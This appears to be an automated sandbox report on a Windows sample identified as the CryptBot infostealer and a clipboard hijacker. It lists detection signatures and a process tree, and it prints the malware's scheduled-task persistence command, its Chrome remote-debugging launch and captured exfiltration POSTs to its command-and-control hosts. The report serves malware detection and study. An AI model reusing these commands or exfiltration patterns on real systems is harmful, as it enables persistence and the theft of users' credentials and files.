Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565525
MD5:	245042b39f7fe432daf72c046d5000d3
SHA1:	f3ae48a9bd52536b83b76ed988558e5681009e96
SHA256:	1c4b207bb8d58a6068ed2be0eb27653a7245dfe8fee548c4720d14510453c27c
Tags:	exeuser-Bitsight
Infos:

Detection

Clipboard Hijacker, Cryptbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

AI detected suspicious sample

Drops large PE files

Found evasive API chain (may stop execution after checking mutex)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Leaks process information

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 4144 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 245042B39F7FE432DAF72C046D5000D3)

chrome.exe (PID: 1312 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6732 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2340,i,1016166225095006826,12192068235695981454,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

service123.exe (PID: 7664 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: 7712B03AF17C2844EB8186B44159FC80)

schtasks.exe (PID: 7688 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 7808 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1844 MD5: C31336C1EFC2CCB44B4326EA793040F2)

service123.exe (PID: 7864 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 7712B03AF17C2844EB8186B44159FC80)

service123.exe (PID: 8016 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 7712B03AF17C2844EB8186B44159FC80)

service123.exe (PID: 2356 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 7712B03AF17C2844EB8186B44159FC80)

service123.exe (PID: 3672 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 7712B03AF17C2844EB8186B44159FC80)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: service123.exe PID: 7664	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.service123.exe.6c170000.1.unpack	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4144, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 7688, ProcessName: schtasks.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4144, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 1312, ProcessName: chrome.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T05:00:33.699309+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49739	141.8.197.146	80	TCP
2024-11-30T05:00:35.358822+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49740	141.8.197.146	80	TCP
2024-11-30T05:00:45.215515+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49751	141.8.197.146	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_000515B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		8_2_000515B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1714B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		8_2_6C1714B0

Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_6bc3138c-a

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea ecx, dword ptr [esp+04h]	8_2_000581E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C1EAEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C1EAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C1EAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	8_2_6C190860
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	8_2_6C19A970
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	8_2_6C19A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	8_2_6C19A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C24F960h	8_2_6C18EB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C194453
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	8_2_6C2184A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	8_2_6C19C510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	8_2_6C19A580
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	8_2_6C19A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	8_2_6C19A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	8_2_6C19E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	8_2_6C19E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, ecx	8_2_6C210730
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	8_2_6C190740
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C1EC040
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C1EC1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+04h]	8_2_6C1CA1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	8_2_6C190260
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [6C24D014h]	8_2_6C244360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C1EBD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	8_2_6C1E7D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	8_2_6C1E3840
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+04h]	8_2_6C19D974
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	8_2_6C1C9B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	8_2_6C1ABBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	8_2_6C1ABBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C1EB4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	8_2_6C19D504
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	8_2_6C1E9600
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+0Ch]	8_2_6C19D674
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C24DFF4h	8_2_6C1E3690
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+08h]	8_2_6C19D7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	8_2_6C213140
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C18B1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	8_2_6C19D2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	8_2_6C207350

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 26MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49751 -> 141.8.197.146:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49739 -> 141.8.197.146:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49740 -> 141.8.197.146:80

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1Host: home.fvtekx5pt.topAccept: /Content-Type: application/jsonContent-Length: 495413Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 33 39 32 30 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: GET /RrlNvinfLqYZQoxgChZr1732768478?argument=H4fk2a9gwuhwz7Ag1732939204 HTTP/1.1Host: home.fvtekx5pt.topAccept: /
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekx5pt.topAccept: /Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------etjbp9eatohwlV63bzxiY0Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 74 6a 62 70 39 65 61 74 6f 68 77 6c 56 36 33 62 7a 78 69 59 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 69 62 61 74 6f 66 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a dd 56 a8 60 99 50 e8 04 c1 4a 68 77 05 4f c8 06 b3 21 cb b7 da 1a 41 8c 68 d2 a1 e3 bd ad e0 04 48 31 da f0 8c f0 ed c0 8b 91 55 2f 18 81 96 5d b0 03 36 ab d6 65 55 9a 33 42 e3 9a f6 ac ec cc 33 0a 77 a7 f4 74 23 ca 8d 53 9e f5 e8 73 96 37 9f 94 40 ae 33 6b 63 35 5b 6a 77 34 2c 1a 06 8a c4 a8 cd be be b3 36 3a 02 22 76 0d a5 78 8d 32 ec 5c 95 4c a8 9f fc c1 71 24 35 9d 45 e5 d9 8e 2e d1 05 3a 30 e5 5e 73 b8 b1 a6 e6 22 44 d1 db 71 38 9b 8b ed 65 1b 8a d5 37 04 07 fc 0e f5 27 b9 61 f9 f2 2c 54 79 3e 25 0b cb 6e 30 bf a8 7d 9c 92 d0 69 79 c0 9c 05 e8 f2 44 23 6f 29 02 96 f0 c2 23 bd 4f 10 ae 40 23 11 be a6 d4 58 f3 c2 88 ec 78 8a a7 39 15 32 36 ec 05 9b 02 18 e9 db e1 0c 6a 6d 3c 2e 9d 1d de 82 36 ff 80 98 dd f0 22 0b e8 f8 f2 81 53 59 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 74 6a 62 70 39 65 61 74 6f 68 77 6c 56 36 33 62 7a 78 69 59 30 2d 2d 0d 0a Data Ascii: --------------------------etjbp9eatohwlV63bzxiY0Content-Disposition: form-data; name="file"; filename="Cibatofa.bin"Content-Type: application/octet-streamV`PJhwO!AhH1U/]6eU3B3wt#Ss7@3kc5[jw4,6:"vx2\Lq$5E.:0^s"Dq8e7'a,Ty>%n0}iyD#o)#O@#Xx926jm<.6"SY--------------------------etjbp9eatohwlV63bzxiY0--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekx5pt.topAccept: /Content-Length: 75910Content-Type: multipart/form-data; boundary=------------------------3fgyOkuD7olZ7iE9aKaFXIData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 66 67 79 4f 6b 75 44 37 6f 6c 5a 37 69 45 39 61 4b 61 46 58 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 66 61 6a 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2b e4 23 00 b8 06 92 a2 6f ae 50 08 05 a6 59 8e 90 60 86 c3 c7 92 8b 95 01 57 ad e5 26 a4 d1 98 2a ca 59 55 8e 38 50 a9 a5 20 46 cd d0 2f 60 37 87 74 4f 7d 6f 36 91 d1 e2 a2 4b b6 9b 1b 9e 67 fa b1 a5 d3 f3 9c 6c 35 08 3e ba d2 3d 4f bc 07 b2 7b 1c 39 9f af 3c 18 3c 78 69 f7 04 88 23 66 5b db a9 23 ae ac 93 de aa 79 fb 15 ca 63 29 eb 18 a8 0f df ae e5 92 43 39 70 66 19 4e 9f fb f2 51 31 0e 72 ee f1 98 17 b6 9b ae 86 b6 03 ac fb c1 18 8c 54 13 e1 06 9b 8f da ef ed 1d a1 78 ab 49 21 64 f7 93 05 31 ad f0 69 d7 18 13 45 b7 09 3e 99 75 d8 6c ff bf 9e 3b c1 01 15 d9 d9 97 75 96 e1 ba 19 86 8d c8 06 a7 3e ae bf 01 89 8d a9 49 6b 7d 30 9d fc 4c 22 6a 5f 6a d1 19 f0 11 38 fd c2 6b 20 ef 77 b1 b9 64 3d 7c a1 4f 76 1d c2 6b 28 72 23 ae 74 8b 2e a4 dd ab 44 25 24 d7 7e 29 af 41 94 c8 0b 93 7d 4a 82 3e d0 c3 df f4 4a 84 0a 92 e1 70 a6 3f 9c b7 19 99 52 b4 27 fa e2 e1 d2 36 cd ad 5e fa cf a9 2b db 29 70 de c2 54 e4 21 16 de 4c 77 3d fc d8 e6 98 29 2d 53 c5 ff b2 e8 2e 39 58 a8 20 e2 e7 45 da aa 77 ca 6e 5d de 79 d8 5d aa 71 ff fb 72 01 ef ee fe 79 58 1b 43 64 dd 61 8b 6a d7 b1 4a 67 00 72 21 6d 4e 08 5b 3c 91 b0 58 6c 4e e9 5b 94 ce da 05 01 ad 7b 8b 7a dc b2 1e 30 de 1e fb 2d b0 8e 7d 5d 15 0b ab 17 49 a0 af 29 f2 18 0c 20 6c 88 44 14 ed e6 87 bf 76 d4 69 03 97 7b 45 29 42 4e 91 c1 f8 82 f5 21 60 1b b9 a2 14 99 e3 22 29 2b f7 57 b6 de 3c b0 f8 2e a3 4d f8 ad 51 f6 71 47 7b 59 9c 6b 0a d3 91 ca ac 11 22 25 68 60 0d ac c3 33 05 43 24 5d 05 e9 94 ca 01 53 6e 73 ea e8 39 c0 e7 6c 26 e3 cd 30 42 de 31 9d 47 bb c5 16 78 40 aa 5d 52 74 3d 16 31 8a 53 58 bc df d4 b6 f8 f7 04 49 53 f0 c9 be 38 44 eb b2 83 7d 93 a2 65 36 00 39 fa 62 52 95 4f d2 65 44 4f e9 58 b6 1c 81 6e af ab fc 02 aa 2d c9 1c 5b e1 a9 8f d0 9e bc b8 e7 e5 37 79 e7 02 0a 8a dc 12 f5 f9 f9 df 2e ea 16 f5 36 5b 57 80 5d ac e2 6a 4e c2 cc 90 81 59 fb e1 04 bc f1 fb 65 8f ab f5 18 3c fb eb 47 c1 bb 9f be a6 f2 49 2c 2e c6 83 84 df ed 34 82 7f 85 91 ca fb 14 68 ad f4 50 93 07 e9 14 56 97 0b ef 19 0d 7e 3d 99 f1 40 f7 b7 d3 47 a5 b0 ad cc 62 00 34 03 74 ef f3 64 2a 80 3a 14 dd 74 b7 4e 76 56 1a b1 c3 db e5 9a 19 b0 73 3e 25 75 5c 3e e4 47 fd b5 4c d7 25 32 69 f1 5e d4 e5 eb 5a 27 90 1f 75 8d 99 47 6c e3 16 b2 55 3b 03 ae f7 ee 00 02 a2 ae f3 a1 f1 3d 8a 29 fe 2d 95 2b 23 25 d8 c8 14 76 0f ce 11 e0 c5 fa ee 7c 3e 80 b3 ed f4 02 27 80 d4 b9 6b f3 87 15
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekx5pt.topAccept: /Content-Length: 30025Content-Type: multipart/form-data; boundary=------------------------blCPDPFfuxHDz4bKvMP4bYData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 6c 43 50 44 50 46 66 75 78 48 44 7a 34 62 4b 76 4d 50 34 62 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 75 79 65 6e 75 64 69 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 65 6e 5e 5d 2d bb e9 ff c9 d4 db 39 13 1d 83 49 42 31 65 9e ac ed 6e 8b d9 f1 c8 37 c1 4c ae 18 01 9c a4 89 fe fd ed cf 31 09 1f a4 6c 1b 36 32 a3 b1 9d c0 5f d4 e4 5f c2 23 1f db 46 b6 9d c3 99 14 4e f0 0d 67 10 56 ed 67 19 2b 65 11 50 fb 6a 4b 41 51 c0 22 3a 01 43 3d 1a dc 6e 5d 23 22 d9 c4 7c cb 4f a1 4d b5 36 c0 a7 ab 6f 29 b7 39 5c 45 6f 15 3e b8 ed 38 f4 0e d6 72 f6 fb f0 fb 0f 9b 59 bc 24 fa d2 fe a6 1c 